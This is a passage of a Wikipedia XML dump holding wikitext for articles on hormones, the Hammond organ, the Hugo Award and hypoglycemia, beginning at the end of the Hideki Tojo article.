Tojo's commemorating tomb is located in a shrine in [[Hazu, Aichi]]. He was survived by a number of his descendants, including his granddaughter, [[Yuko Tojo]], a right-wing activist, and his second son, [[Teruo Tojo]], who designed fighter and passenger aircraft during and after the war and eventually served as an executive at [[Mitsubishi Heavy Industries, Ltd.|Mitsubishi Heavy Industries]].

==External links==
* {{Japanese prime ministers-NDL|142}}

{{start box}}
{{succession box | before=[[Shigenori Togo]] | title=[[Minister for Foreign Affairs (Japan)|Minister for Foreign Affairs]] of [[Japan]] | years=1942 | after=[[Masayuki Tani]]}}
{{end box}}
{{Japanese prime ministers}}

[[Category:1884 births|Tojo, Hideki]]
[[Category:1948 deaths|Tojo, Hideki]]
[[Category:Executed politicians|Tojo, Hideki]]
[[Category:Japanese military leaders|Tojo, Hideki]]
[[Category:Prime Ministers of Japan|Tojo, Hideki]]
[[Category:World War II political leaders|Tojo, Hideki]]

[[de:Hideki Tōjō]]
[[es:Hideki Tojo]]
[[fr:Hideki Tōjō]]
[[gl:Hideki Tojo - 東条 英機]]
[[ko:도조 히데키]]
[[id:Hideki Tojo]]
[[he:הידקי טוג'ו]]
[[ka:ტოძიო ჰიდეკი]]
[[nl:Hideki Tojo]]
[[ja:東條英機]]
[[fi:Hideki Tojo]]
[[sv:Hideki Tojo]]
[[zh:东条英机]]</text>
    </revision>
  </page>
  <page>
    <title>Hormone</title>
    <id>13311</id>
    <revision>
      <id>41823355</id>
      <timestamp>2006-03-01T23:50:37Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{dablink|&quot;Hormone&quot; is also the [[NATO reporting name]] for the Soviet/Russian [[Kamov Ka-25]] military helicopter.}}

A '''hormone''' (from [[Greek language|Greek]] ''horman'' - &quot;to set in motion&quot;) is a [[chemical compound|chemical]] messenger from one [[cell (biology)|cell]] (or group of cells) to another.  All [[multicellular organism]]s produce hormones (including [[Plant hormone|plants]] - ''see article [[phytohormone]]''). 

The best-known animal (and human) hormones are those produced by [[endocrine gland]]s of [[vertebrate]] animals, but hormones are produced by nearly every [[organ (anatomy)|organ]] system and [[Biological_tissue|tissue]] type in a human or animal body. Hormone [[molecule]]s are secreted (released) directly into the [[bloodstream]]; however, some hormones, called ectohormones, are secreted to the outside environment. They move by circulation or [[diffusion]] to their target cells, which may be nearby cells (paracrine action) in the same tissue or cells of a distant organ of the body.  The function of hormones is to serve as a signal to the target cells; the action of hormones is determined by the pattern of secretion and the [[signal transduction]] of the receiving tissue.

Hormone actions vary widely, but can include stimulation or inhibition of growth, induction or suppression of [[apoptosis]] (programmed cell death), activation or inhibition of the [[immune system]], regulating [[metabolism]] and preparation for a new activity (e.g., fighting, fleeing, mating) or phase of life (e.g., puberty, caring for offspring, menopause). In many cases, one hormone may regulate the production and release of other hormones.  Many of the responses to hormone signals can be described as serving to [[homeostasis|regulate]] metabolic activity of an organ or tissue. Hormones also control the [[reproductive cycle]] of virtually all multicellular organisms.

==History==
The concept of internal secretion developed in the [[19th century]]; [[Claude Bernard]] described it in [[1855]], but did not specifically address the possibility of secretions of one organ acting as messengers to others. Still, various endocrine conditions were recognised and even treated adequately (e.g., [[hypothyroidism]] with extract of thyroid glands).

The major breakthrough was the identification of [[secretin]], the hormone secreted by the [[duodenum]] that stimulates [[pancreas|pancreatic]] secretions, by [[Ernest Starling]] and [[William Bayliss]] in [[1902]]. Previously, the process had been considered (e.g., by [[Ivan Pavlov]]) to be regulated by the nervous system. Starling and Bayliss demonstrated that injecting duodenal extract into dogs rapidly increased pancreatic secretions, raising the possibility of a chemical messenger.

Starling is also credited with introducing the term ''hormone'', having coined it in a [[1905]] lecture. Later reports indicate it was suggested to him by the Cambridge physiologist [[William B. Hardy]] (Henderson 2005).

The remainder of the [[20th century]] saw all the major hormones discovered, as well as the cloning of the relevant [[gene]]s and the identification of the many interlocking feedback mechanisms that characterise the endocrine system.

==Physiology of hormones==
Most cells are capable of producing one or more, sometimes many, molecules which signal other cells to alter their growth, function, or metabolism. The classical [[endocrine gland]]s and their hormone products are specialized to serve regulation on the overall organism level, but can often be used in other ways or only on the tissue level.

The rate of production of a hormone is often regulated by a [[Homeostasis|homeostatic]] control system, generally by [[negative feedback]]. Homeostatic regulation of hormones depends, apart from production, on the [[metabolism]] and [[excretion]] of hormones.

Hormone secretion can be stimulated and inhibited by:
*Other hormones (''stimulating''- or ''releasing''-hormones)
*Plasma concentrations of ions or nutrients, as well as binding [[globulin]]s
*[[Neuron]]s and mental activity
*Environmental changes, e.g., of light or temperature

One special group of hormones is [[trophic hormone]]s that stimulate the hormone production of other [[endocrine system|endocrine glands]].  For example: [[thyroid-stimulating hormone]] (TSH) causes growth and increased activity of another endocrine gland - the [[thyroid]] - hence increasing output of thyroid hormones.

A recently-identified class of hormones is that of the &quot;Hunger Hormones&quot; - [[ghrelin]], [[orexin]] and [[PYY 3-36]] - and &quot;Satiety hormones&quot; - e.g., [[leptin]], obestatin.

==Types of hormones==
Vertebrate hormones fall into four chemical classes:
#[[Amine-derived hormone]]s are derivatives of the [[amino acid]]s [[tyrosine]] and [[tryptophan]]. Examples are [[catecholamine]]s and [[thyroxine]].
#[[Peptide hormone]]s consist of chains of amino acids. Examples of small peptide hormones are [[thyrotropin-releasing hormone|TRH]] and [[vasopressin]]. Peptides composed of scores or hundreds of amino acids are referred to as [[protein]]s. Examples of protein hormones include [[insulin]] and growth hormone.
#[[Steroid hormone]]s are derived from [[cholesterol]]. The [[adrenal cortex]] and the [[gonad]]s are primary sources. Examples of steroid hormones are [[testosterone]] and [[cortisol]]. [[Sterol hormone]]s such as [[calcitriol]] are a [[homologous]] system.
#[[Lipid]] and [[phospholipid]] hormones are derived from lipids such as [[linoleic acid]] and phospholipids such as [[arachidonic acid]]. The main class is the [[eicosanoid]]s, which includes the widely-studied [[prostaglandin]]s.

==Pharmacology==
Many hormones are used as [[medication]]. The most commonly-prescribed hormones are [[estrogen]]s and [[progestagen]]s (in the [[contraceptive pill]] and as [[Hormone-replacement therapy|HRT]]), [[thyroxine]] (as [[levothyroxine]], for [[hypothyroidism]]) and [[steroid]]s (for [[autoimmune disease]]s and several [[pulmonology|respiratory disorders]]). [[Insulin]] is used by many [[diabetes mellitus|diabetics]]. Local preparations for use in [[otolaryngology]] often contain [[pharmacology|pharmacologic]] equivalents of [[adrenaline]], while [[steroid]] and [[vitamin D]] creams are used extensively in [[dermatology|dermatological]] practice.

A &quot;pharmacologic dose&quot; of a hormone is a medical usage referring to an amount of a hormone far greater than naturally occurs in a healthy body. The effects of pharmacologic doses of hormones may be different from responses to naturally-occurring amounts and may be therapeutically useful. An example is the ability of pharmacologic doses of [[glucocorticoid]] to suppress inflammation.

==Important human hormones==
Spelling is not uniform for many hormones. Current North American and international usage is estrogen, gonadotropin, while British usage retains the Greek [[diphthong]] in oestrogen and the unvoiced aspirant h in gonadotrophin.

===Amine hormones===
[[Amine-derived hormone]]s:
*[[catecholamine]]s
**[[adrenaline]] (or epinephrine)
**[[dopamine]] 
**[[noradrenaline]] (or norepinephrine)

* [[tryptophan]] derivatives
**[[melatonin]] (N-acetyl-5-methoxytryptamine)
**[[serotonin]] (5-HT)

* [[tyrosine]] derivatives  
**[[thyroxine]] (T4)
**[[triiodothyronine]] (T3)

===Peptide hormones===
[[Peptide hormone]]s:
*[[antimullerian hormone]] (AMH, also mullerian inhibiting factor or hormone)
*[[adiponectin]] (also Acrp30)
*[[adrenocorticotropic hormone]] (ACTH, also corticotropin)
*[[angiotensinogen]] and [[angiotensin]]
*[[antidiuretic hormone]] (ADH, also vasopressin, arginine vasopressin, AVP)
*[[atrial-natriuretic peptide]] (ANP, also atriopeptin)
*[[calcitonin]]
*[[cholecystokinin]] (CCK)
*[[corticotropin-releasing hormone]] (CRH)
*[[erythropoietin]] (EPO)
*[[follicle-stimulating hormone]] (FSH)
*[[gastrin]]
*[[glucagon]]
*[[gonadotropin-releasing hormone]] (GnRH)
*[[growth hormone-releasing hormone]] (GHRH)
*[[human chorionic gonadotropin]] (hCG)
*[[growth hormone]] (GH or hGH)
*[[insulin]]
*[[insulin-like growth factor]] (IGF, also somatomedin)
*[[leptin]]
*[[luteinizing hormone]] (LH)
*[[melanocyte stimulating hormone]] (MSH or &amp;#945;-MSH)
*[[neuropeptide Y]]
*[[oxytocin]]
*[[parathyroid hormone]] (PTH)
*[[prolactin]] (PRL)
*[[relaxin]]
*[[renin]]
*[[secretin]]
*[[somatostatin]]
*[[thrombopoietin]]
*[[thyroid-stimulating hormone]] (TSH)
*[[thyrotropin-releasing hormone]] (TRH)

===Steroid and sterol hormones===
[[Steroid hormone]]s:
*[[Glucocorticoid]]s
**[[cortisol]]
*[[Mineralocorticoid]]s
**[[aldosterone]]
*[[Sex steroid]]s
**[[Androgen]]s
***[[testosterone]]
***[[dehydroepiandrosterone]] (DHEA)
***dehydroepiandrosterone sulfate (DHEAS)
***[[androstenedione]]
***[[dihydrotestosterone]] (DHT)
**[[Estrogen]]s
***[[estradiol]]
**[[Progestagen]]s
***[[progesterone]]
***[[Progestins]]

[[Sterol hormone]]s:
*[[Vitamin D]] derivatives
**[[calcitriol]]

===Lipid hormones===
[[Lipid]] and [[phospholipid]] hormones ([[eicosanoid]]s):
* [[prostaglandin]]s
* [[leukotriene]]s
* [[prostacyclin]]
* [[thromboxane]]

==See also==
* [[endocrine system]]
* [[neuroendocrinology]]
* [[plant hormones]] or [[plant growth regulators]]
* [[autocrine signalling]]
* [[paracrine signalling]]
* [[cytokine]]
* [[growth factor]]
* [[hormone disruptor]]

==Reference==
* Henderson J. ''Ernest Starling and 'Hormones': an historical commentary.'' J Endocrinol 2005;184:5-10. PMID 15642778.

[[Category:Endocrinology]]
[[Category:Signal transduction]]

[[ar:هرمون]]
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  <page>
    <title>Hammond organ</title>
    <id>13312</id>
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      <minor />
      <comment>disambiguation from [[Sampling]] to [[Digital sampling]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{merge|Hammond B3}}

The '''Hammond organ''' is an [[electric organ]] which was designed and built by [[Laurens Hammond]] in April [[1935]].  While the Hammond organ was originally sold to [[church]]es as a low-cost alternative to the [[pipe organ]], it came to be used for [[jazz]], [[blues]], and to a lesser extent [[Rock and roll|rock music]] (in the [[1960s]] and [[1970s]]) and [[gospel music]].  It was widely used in United States military chapels during and after the [[Second World War]].

[[Image:Hammond_organ.jpg|thumb|Hammond organ.]]

[[Image:Tonewheel-p.svg|thumb|Tonewheel rotates beneath electromagnetic pickup.]]

In imitation of a [[pipe organ]], with its banks of pipes in multiple registers, the Hammond Organ used [[additive synthesis]] of [[waveform]]s from [[harmonic series (music)|harmonic series]] to generate its sounds. As in [[Thaddeus Cahill]]'s earlier [[Telharmonium]], the individual waveforms were made by mechanical &quot;[[tonewheel]]s&quot; which rotated beneath electromagnetic pickups. Although they are generally included in the category of electronic organs, strictly speaking, because the waveforms are produced by mechanical tonewheels rather than electronic oscillators, original Hammond organs are ''electric'' rather than ''electronic'' organs.

A defining feature of the Hammond organ was the use of &quot;drawbars&quot; to mix the component waveforms in varying ratios.  Other features added to Hammond organs included an electromechanical vibrato. The distinctive &quot;key click&quot; that was originally a design flaw rapidly became part of the &quot;Hammond sound&quot;, which modern imitations of the Hammond organ faithfully reproduce. Accurate imitation of the Hammond sound with simple electronic circuitry was difficult, because the subtly-changing phase relationships between tonewheels could not be easily replicated. 

Speakers originally designed by [[Donald_Leslie|Don Leslie]] were widely used with the Hammond organs, though at first, Leslie was a competing company that Hammond sought to drive out of business. The [[Leslie speaker|Leslie speakers]] had a rotating component that produced a vibrato effect. Soon, the Leslie became a ''de facto'' component of any Hammond setup wishing to produce that signature &quot;growling&quot; sound.

The model [[Hammond B3|B-3]] was, and still is, the most sought-after model, though the C-3 differs only in cosmetics.  Hammonds can be divided into two main groups: the 'Console' models such as the B-3, C-3 or A-100 which have two 61 note manuals and the smaller 'Spinet' models that have two 44 note manuals such as the L-100 and the M-100. Most Hammond organs do not have a full [[AGO pedalboard]], something that was done originally for cost and size reasons.

[[Image:Hammond-drawbars-plain.svg|thumb|Drawbars]]It is worth noting that not all Hammonds were of the design described above, using tonewheels and drawbars, which are regarded as the 'real Hammonds'. The Hammond company produced a number of cheaper organs which used a simpler electronic way of producing sound, such as the model J100. These instruments do not have the distinctive characterful 'Hammond sound'.

By 1975, synthesizer technology had reached the point where the unique Hammond sound could be fairly closely simulated electronically. The last production lot of motorized organs was produced in 1975, although a few were assembled from spare parts in 1976.

Another unusual thing about Hammonds was their serial numbers. Founder Laurens Hammond did not want people to be able to date organs by their serial numbers, so numbers were not sequential from one production lot to the next.

Authentic performance practice involves more than playing the keys of this instrument. Performers vary the timbre of both manuals in real time, through a combination of changing drawbar settings, engaging or disengaging vibrato/chorus and percussion, changing the Leslie speed setting, and utilizing instrument-specific tricks, such as switching the run motor off for a brief moment, to get a wobbly pitch bend effect. Musical gestures specific to the instrument include palm glisses, rapid repetition of a single note, tremolo between two notes a third apart (typically the 5th and flat 7th scale degree of the current chord), percussive drumming of the keyboard, and playing a chord on the upper manual, then sliding your hand down to duplicate the chord on the lower manual. Artistic use of the foot-controlled volume pedal and bass pedals are also important facets of the art of the Hammond. Pianists and synthesists who begin playing the Hammond soon realize that effective and flexible use of the instrument requires more than simply playing notes on the keyboard.

The lightweight construction of the &quot;waterfall&quot;-style keybed allows for very rapid passages to be executed with more ease than on a weighted keyboard, such as a piano. This has allowed such masters of the instrument as [[Joey DeFrancesco]] and the late [[Jimmy Smith]] to fire off lightning fast flurries of notes during their solos.

Modern [[digital signal processing]] and [[Digital sampling|sampling]] technologies now allow for better imitation of the original Hammond sound, and a variety of electronic organs and synthesizers now provide accurate Hammond emulations. Nevertheless, original electromechanical Hammond organs are prized for their look, sound, and feel, and are still much in demand by performers. Though the last analog Hammond organ came off the assembly line in 1974, it is a testament to their over-engineered design and high caliber construction that thousands are still in daily use.

== References ==

A very informative book on the Hammond is ''The Hammond Organ: Beauty in the B'', Mark Vail, pub Miller Freeman 1997. (238 pages) ISBN 0879304596.

==See also==

* [[List of jazz organists]]
* [[List of notable hammond organ players]]
* [[Clonewheel organ]]
* [[Hammond B3]]

==External links==
* [http://www.obsolete.com/120_years/machines/hammond/ ''obsolete.com'' article on the  Hammond Organ]
* http://www.roth-handle.nu/instruments/organ_HammondL100.htm
* [http://doodlinlounge.com/index.html Famous jazz organists]
* [http://theatreorgans.com/grounds/docs/history.html History of the Hammond B-3 Organ]
* The [http://www.dairiki.org/HammondWiki/HammondWiki HammondWiki] &amp;mdash; ''Note: the HammondWiki material is licensed under the OPL, which is incompatible with the GFDL, and so cannot be copied here, except by the original contributors of that material.''

[[Category:electric and electronic keyboard instruments]]
[[Category:electronic organ builders]]

[[be:Арган Хаманда]]
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  <page>
    <title>Hugo award</title>
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      <text xml:space="preserve">#REDIRECT [[Hugo Award]]</text>
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  </page>
  <page>
    <title>Hugo Award</title>
    <id>13314</id>
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      <comment>/* History */ avoid redirect, rmv speculation</comment>
      <text xml:space="preserve">The '''Hugo Award''' is given every year for the best [[science fiction]] or [[fantasy fiction|fantasy]] stories of the previous year, and for related areas in [[fandom]], art and [[drama|dramatic presentation]]. The award categories have changed over time, as the field of science fiction has grown and evolved. The winners are voted on by science fiction fans, and the awards are handed out at the annual [[World Science Fiction Convention]] (&quot;Worldcon&quot;).
The award is named after [[Hugo Gernsback]], the founder of the pioneering science fiction magazine ''[[Amazing Stories]]''.

'''Retrospective Hugo Awards''' (normally abbreviated '''Retro Hugos''') are also presented.  These are given at Worldcons held 50, 75, or 100 years after a Worldcon was held at which no Hugos were awarded.  Once Retro Hugos for a given year are awarded, no further awards for that year are permitted.

The Hugo Award itself was co-designed by longtime SF fan and booster [[Benedict Jablonski]] who based the trophy on a rocket-shaped hood ornament from an [[Oldsmobile 88]].

==History==

The first World Science Fiction Convention was held in [[New York City]] in [[1939]]. While &quot;bests&quot; had been voted upon at all conventions there were no awards until the 11th Worldcon ([[Philadelphia, Pennsylvania|Philadelphia]], [[1953]]) and this was, at the time, considered a one-time event. However for the 13th Convention ([[Cleveland, Ohio|Cleveland]], [[1955]]) it was decided to make the physical awards a permanent feature.

The 11th convention awards were the idea of [[Hal Lynch]]. The awards were hand-machined by [[Jack McKnight]] and consisted of a finned steel rocket on a circular wooden base. At the 13th Convention a new design, capable of &quot;mass&quot; production, was made by [[Benedict Jablonski|Ben Jason]], it was largely similar to the first design but on a square base. It became the standard design for most of the following conventions.

At first the award was known as the &quot;Annual Science Fiction Achievement Award&quot;, with &quot;Hugo Award&quot; being an unofficial name, but certainly the more well known. Since [[1993]], the nickname has been adopted as the official name of the award.

While the [[World Science Fiction Society]] rules state that the award is for works of science fiction and fantasy, in practice it has until recent years almost always gone to science fiction works. This precedent contributed to complaints when the [[2001]] Hugo for best novel was given to ''[[Harry Potter and the Goblet of Fire]]'', a [[fantasy fiction|fantasy]] novel by [[J. K. Rowling]] aimed at young adults. The controversy may have had more to do with the novel's publication as a category juvenile; roughly twenty formal fantasies had previously been nominated for best novel. At least a half dozen genre fantasies had taken awards for shorter lengths, as well as several genre-bending works by [[Harlan Ellison]].  

However, there has been far less controversy about the three fantasy novels that have since won the best novel award &amp;ndash; ''[[American Gods]]'' by [[Neil Gaiman]] in [[2002]] and ''[[Paladin of Souls]]'' by [[Lois McMaster Bujold]] in [[2004]] and ''[[Jonathan Strange &amp; Mr Norrell]]'' in [[2005]] by [[Susanna Clarke]].

The awards also sparked controversy in [[2004]] when the prize for [[Hugo Award for Best Dramatic Presentation, Short Form]] was given to a joke awards show acceptance speech featuring [[Gollum]] from ''[[The Lord of the Rings]]'' over acclaimed episodes of ''[[Firefly (TV series)|Firefly]]'', ''[[Buffy the Vampire Slayer]]'' and ''[[Smallville (TV series)|Smallville]]''.

==Hugo Award categories==
Until about [[1960]], most Hugo award categories changed from year to year. Since then, the standard award categories (now specified in World Science Fiction Society rules) have been:
* [[Hugo Award for Best Novel]]
* [[Hugo Award for Best Novella]]
* [[Hugo Award for Best Novelette]]
* [[Hugo Award for Best Short Story]]
* [[Hugo Award for Best Dramatic Presentation]] (awarded 1960 to 2002)
** [[Hugo Award for Best Dramatic Presentation, Long Form]] (awarded since 2003)
** [[Hugo Award for Best Dramatic Presentation, Short Form]] (awarded since 2003)
* [[Hugo Award for Best Related Book]] (awarded since 1999)
** [[Hugo Award for Best Non-Fiction Book]] (awarded 1980 to 1998)
* [[Hugo Award for Best Fanzine]] (Best Amateur Magazine in some but not all years between 1962 and 1978)
* [[Hugo Award for Best Fan Artist]]
* [[Hugo Award for Best Fan Writer]]
* [[Hugo Award for Best Semiprozine]]
* [[Hugo Award for Best Professional Artist]]
* [[Hugo Award for Best Professional Editor]] (awarded since 1973)
** [[Hugo Award for Best Professional Magazine]] (awarded 1960 to 1972)
* [[Hugo Award for Best Original Artwork]] (awarded 1992 to 1996)

The rules also allow for an additional category at the discretion of the Worldcon organising committee, the most recent ones being the Hugo Awards for Best Web Site, in 2002 and 2005. An earlier example was the Hugo Award for Best All-Time Series awarded in 1966 to the Foundation trilogy.

==Related awards==
There are other [[Science Fiction Awards]].  The [[Nebula award]] is given by members of [[SFWA]], the [[Locus award]] is a poll of readers of the [[Locus (magazine)|''Locus'' (magazine)]].

The World Science Fiction Convention also awards the [[Campbell award (best new writer)|John W. Campbell Award for the Best New Writer in Science Fiction]]. This award is sponsored by the publishers of ''[[Astounding Magazine|Analog]]'', the magazine [[John W. Campbell|Campbell]] edited. Although presented at the same ceremony at the Worldcon and decided by the same process it is not formally a Hugo. (Nor should it be confused with the [[Campbell award (best novel)|John W. Campbell Memorial Award for Best Science Fiction Novel]], a jury-selected prize not associated with the Worldcon at all.)

== See also ==
*[[Nebula Award]]
*[[List of joint winners of the Hugo and Nebula awards]]

==External links==
* http://www.hugo.org/hugos.html - official site
* [http://www.fanac.org/fanzines/Philcon/Philcon2-05.html Original proposal of the award in Philcon II]
* [http://www.locusmag.com/SFAwards/Db/Hugo.html ''About the Hugo Awards''] in ''[[Locus (magazine)|Locus]]'' magazine
* [http://book.awardannals.com/award/hugo/fiction/topbooks Most honored Hugo Award nominees] 
* [http://batwrangler.com/Hugos/ Hugo Award Gallery]
* [http://www.sffaudio.com/HugosAll.html Hugo Award Winning Audiobooks]
* [http://web2.airmail.net/tharvia/hugos_at_a_glance.html Hugo history at a glance]

[[Category:Hugo awards| ]]

[[bg:Награда Хюго]]
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[[zh:雨果奖]]</text>
    </revision>
  </page>
  <page>
    <title>Hypoglycemia</title>
    <id>13315</id>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Hypoglycemia |
  ICD10       = E16.2 |
  ICD9        = {{ICD9|250.8}}, {{ICD9|251.0}},  {{ICD9|251.1}}, {{ICD9|251.2}}, {{ICD9|270.3}}, {{ICD9|775.6}}, {{ICD9|962.3}} |
}}

'''Hypoglycemia''' is a medical term referring to a pathologic state produced by a lower than normal amount of sugar ([[glucose]]) in the blood. The term ''hypoglycemia'' literally means &quot;low blood sugar&quot;. Hypoglycemia can produce a variety of symptoms and effects but the principal problems arise from an inadequate supply of glucose as fuel to the [[brain]], resulting in impairment of function ([[neuroglycopenia]]). Derangements of function can range from vaguely &quot;feeling bad&quot; to [[coma]] and (rarely) death. Hypoglycemia can arise from many causes, and can occur at any age. The most common forms of moderate and severe hypoglycemia occur as a complication of treatment of [[diabetes mellitus]] with [[insulin]] or [[oral hypoglycemic agent|oral medications]]. 

[[Endocrinologist]]s (specialists in disorders of blood glucose metabolism) typically consider the following criteria (referred to as [[Whipple's triad]]) as proving that an individual's [[symptom]]s can be attributed to hypoglycemia:
#Symptoms known to be caused by hypoglycemia
#Low glucose at the time the symptoms occur
#Reversal or improvement of symptoms or problems when the glucose is restored to normal

However, not everyone has accepted these suggested diagnostic criteria, and even the level of glucose low enough to define hypoglycemia has been a source of controversy in several contexts. For many purposes, [[blood plasma|plasma]] glucose levels below 70 mg/dl or 3.9 mmol/L are considered hypoglycemic, but these issues are elaborated in more detail below.

==Defining hypoglycemia: what's normal and what's low?==
Although 70 mg/dl (3.9 mmol/l) is commonly cited as the lower limit of normal glucose, different values may be defined as low for different populations, purposes, or circumstances. The precise level of glucose considered low enough to define hypoglycemia is dependent on (1) the measurement method, (2) the age of the person, (3) presence or absence of effects, and (4) the purpose of the definition. This article expresses glucose in milligrams per deciliter (mg/dl or mg/100 ml) as is customary in the United States, while millimoles per liter (mmol/l or mM) are the [[SI]] (International System) units used in most of the rest of the world. Values in mg/dl can be converted to mmol/l by dividing by 18 (e.g., 90 mg/dl = 5 mmol/l or 5 mM).

===Measurement method: different methods can yield different values===
Glucose levels discussed in this article are [[vein|venous]] [[Blood plasma|plasma]] or [[serum]] levels measured by standard [[glucose oxidase]] methods used in [[medical laboratory|medical laboratories]]. For clinical purposes, plasma and serum levels are similar enough to be interchangeable. [[Artery|Arterial]] plasma or serum levels are slightly higher than venous levels, and [[capillary]] levels typically in between. This difference between arterial and venous levels is small in the fasting state but is amplified and can be greater than 10% in the postprandial state. On the other hand, whole blood glucose levels (e.g., by [[glucose meter|fingerprick meters]]) are about 10-15% lower than venous plasma levels. Furthermore, available [[fingerstick]] [[glucose meter]]s are only warranted to be accurate to within 15% of a simultaneous laboratory value. In other words, a meter glucose reading of 39 mg/dl could be properly obtained from a person whose serum glucose was 55 mg/dl.

Two other factors significantly affect glucose measurement. The disparity between venous and whole blood concentrations is greater when the [[hematocrit]] is high, as in newborns. High neonatal hematocrits are particularly likely to confound meter glucose measurement. Second, unless the specimen is drawn into a [[sodium fluoride|fluoride]] tube or processed immediately to separate the serum or plasma from the cells, the measurable glucose will be gradually lowered by ''in vitro'' metabolism of the glucose.

===Age differences: normal glucose levels vary by age===
Surveys of healthy children and adults show that fasting blood glucoses below 60 mg/dl (3.3 mM) or above 100 mg/dl (5.6 mM) are found in less than 5% of samples. In infants and young children up to 10% have been found to be below 60 mg/dl after an overnight fast. In other words, many healthy people can occasionally have glucose levels in the hypoglycemic range without symptoms or disease.

The normal range of newborn blood sugars continues to be debated. Surveys and experience have revealed blood sugars often below 40 mg/dl (2.2 mM), rarely below 30 mg/dl (1.7 mM), in apparently healthy full-term infants on the first day of life. It has been proposed that newborn brains are able to use alternate fuels when glucose levels are low more readily than adults. Experts continue to debate the significance and risk of such levels, though the trend has been to recommend maintenance of glucose levels above 60-70 mg/dl after the first day of life. In ill, [[IUGR|undersized]], or [[prematurity|premature]] newborns, low blood sugars are even more common, but there is a consensus that sugars should be maintained at least above 50 mg/dl (2.8 mM) in such circumstances. Some experts advocate 70 mg/dl as a therapeutic target, especially in circumstances such as [[hyperinsulinemic hypoglycemia|hyperinsulinism]] where alternate fuels may be less available.

===Presence or absence of effects: are symptoms more important than the number?===
Research in healthy adults shows that mental efficiency declines slightly but measurably as blood glucose falls below 65 mg/dl (3.6 mM) in many people. [[hormone|Hormonal]] defense mechanisms ([[adrenaline]] and [[glucagon]]) are activated as it drops below a threshold level (about 55 mg/dl for most people), producing the typical [[symptom]]s of shakiness and [[dysphoria]]. On the other hand, obvious impairment does not often occur until the glucose falls below 40 mg/dl, and up to 10% of the population may occasionally have glucose levels below 65 in the morning without apparent effects. Brain effects of hypoglycemia, termed [[neuroglycopenia]], determine whether a given low glucose is a &quot;problem&quot; for that person, and hence some people tend to use the term ''hypoglycemia'' only when a moderately low glucose is accompanied by symptoms.

Even this criterion is complicated by the facts that hypoglycemic symptoms are vague and can be produced by other conditions, that people with persistently or recurrently low glucose levels can lose their threshold symptoms so that severe neuroglycopenic impairment can occur without much warning, and that many of our measurement methods (especially [[glucose meter]]s) are imprecise at low levels.

[[Diabetic hypoglycemia]] represents a special case with respect to the relationship of measured glucose and hypoglycemic symptoms for several reasons. Although home [[glucose meter]] readings are sometimes misleading, the probability that a low reading accompanied by symptoms represents real hypoglycemia is higher in a person who takes insulin. Second, the hypoglycemia has a greater chance of progressing to more serious impairment if not treated, compared to most other forms of hypoglycemia that occur in adults. Third, because glucose levels are above normal most of the time in people with diabetes, hypoglycemic symptoms may occur at higher thresholds than in people who are normoglycemic most of the time. For all of these reasons, people with diabetes usually use higher meter glucose thresholds to determine hypoglycemia.

===Purpose of definition: different levels are used for different purposes===
For all of the reasons explained in the above paragraphs, deciding whether a blood glucose in the borderline range of 45-75 mg/dl (2.5-4.2 mM) represents clinically problematic hypoglycemia is not always simple. This leads people to use different &quot;cutoff levels&quot; of glucose in different contexts and for different purposes.

==Pathophysiology: why low blood sugar primarily affects the brain==
Like most animal tissues, [[brain]] [[metabolism]] depends primarily on glucose for fuel in most circumstances. A limited amount of glucose can be derived from [[glycogen]] stored in [[astrocyte]]s, but it is consumed within minutes. For most practical purposes, the brain is dependent on a continual supply of glucose diffusing from the blood into the interstitial tissue within the [[central nervous system]] and into the [[neuron]]s themselves. 

Therefore, if the amount of glucose supplied by the blood falls, the brain is one of the first organs affected. In most people subtle reduction of mental efficiency can be observed when the glucose falls below 65 mg/dl (3.6 mM). Impairment of action and judgement usually becomes obvious below 40 mg/dl (2.2 mM). [[Seizure]]s may occur as the glucose falls further. As blood glucose levels fall below 10 mg/dl, most neurons become electrically silent and nonfunctional, resulting in [[coma]]. These brain effects are collectively referred to as [[neuroglycopenia]].

The importance of an adequate supply of glucose to the brain is apparent from the number of [[central nervous system|nervous]], [[hormone|hormonal]] and metabolic responses to a falling glucose. Most of these are defensive or adaptive, tending to raise the blood sugar via [[glycogenolysis]] and [[gluconeogenesis]] or provide alternative fuels.

==Signs and symptoms of hypoglycemia==
Hypoglycemic symptoms and manifestations can be divided into those produced by the counterregulatory hormones ([[adrenaline]] and [[glucagon]]) triggered by the falling glucose, and the neuroglycopenic effects produced by the reduced brain sugar.

=== Adrenergic Manifestations ===
*Shakiness, anxiety, nervousness, tremor
*Palpitations, [[tachycardia]]
*[[Sweat]]ing, feeling of warmth 
*Pallor, coldness, clamminess
*Dilated [[pupil]]s

=== Glucagon Manifestations ===
*[[Hunger]], [[borborygmus]]
*[[Nausea]], [[vomit]]ing, [[abdominal pain|abdominal discomfort]]

=== Neuroglycopenic Manifestations ===
*Abnormal mentation, impaired judgement
*Nonspecific [[dysphoria]], [[anxiety]], moodiness, depression,  crying, fear of dying
*Negativism, irritability, belligerence, combativeness, [[Rage (emotion)|rage]]
*[[Personality]] change, emotional lability
*[[fatigue (physical)|Fatigue]], weakness, apathy, [[lethargy]], daydreaming, [[sleep]]
*Confusion, [[amnesia]], dizziness, [[delirium]]
*Staring, &quot;glassy&quot; look, blurred vision, [[diplopia|double vision]]
*Automatic behavior, also known as [[automatism (medical)|automatism]]
*Difficulty speaking, slurred speech
*[[Ataxia]], incoordination, sometimes mistaken for &quot;drunkenness&quot;
*Focal or general motor deficit, [[paralysis]], [[hemiparesis]]
*[[Paresthesia]]s, [[headache]]
*Stupor, [[coma]], abnormal breathing
*Generalized or focal [[seizure]]s

Not all of the above manifestations occur in every case of hypoglycemia. There is no consistent order to the appearance of the symptoms. Specific manifestations vary by age and by severity of the hypoglycemia. In young children vomiting often accompanies morning hypoglycemia with [[ketosis]]. In older children and adults, moderately severe hypoglycemia can resemble [[mania]], mental illness, [[drug intoxication]], or drunkenness. In the elderly, hypoglycemia can produce focal [[stroke]]-like effects or a hard-to-define malaise. The symptoms of a single person do tend to be similar from episode to episode.

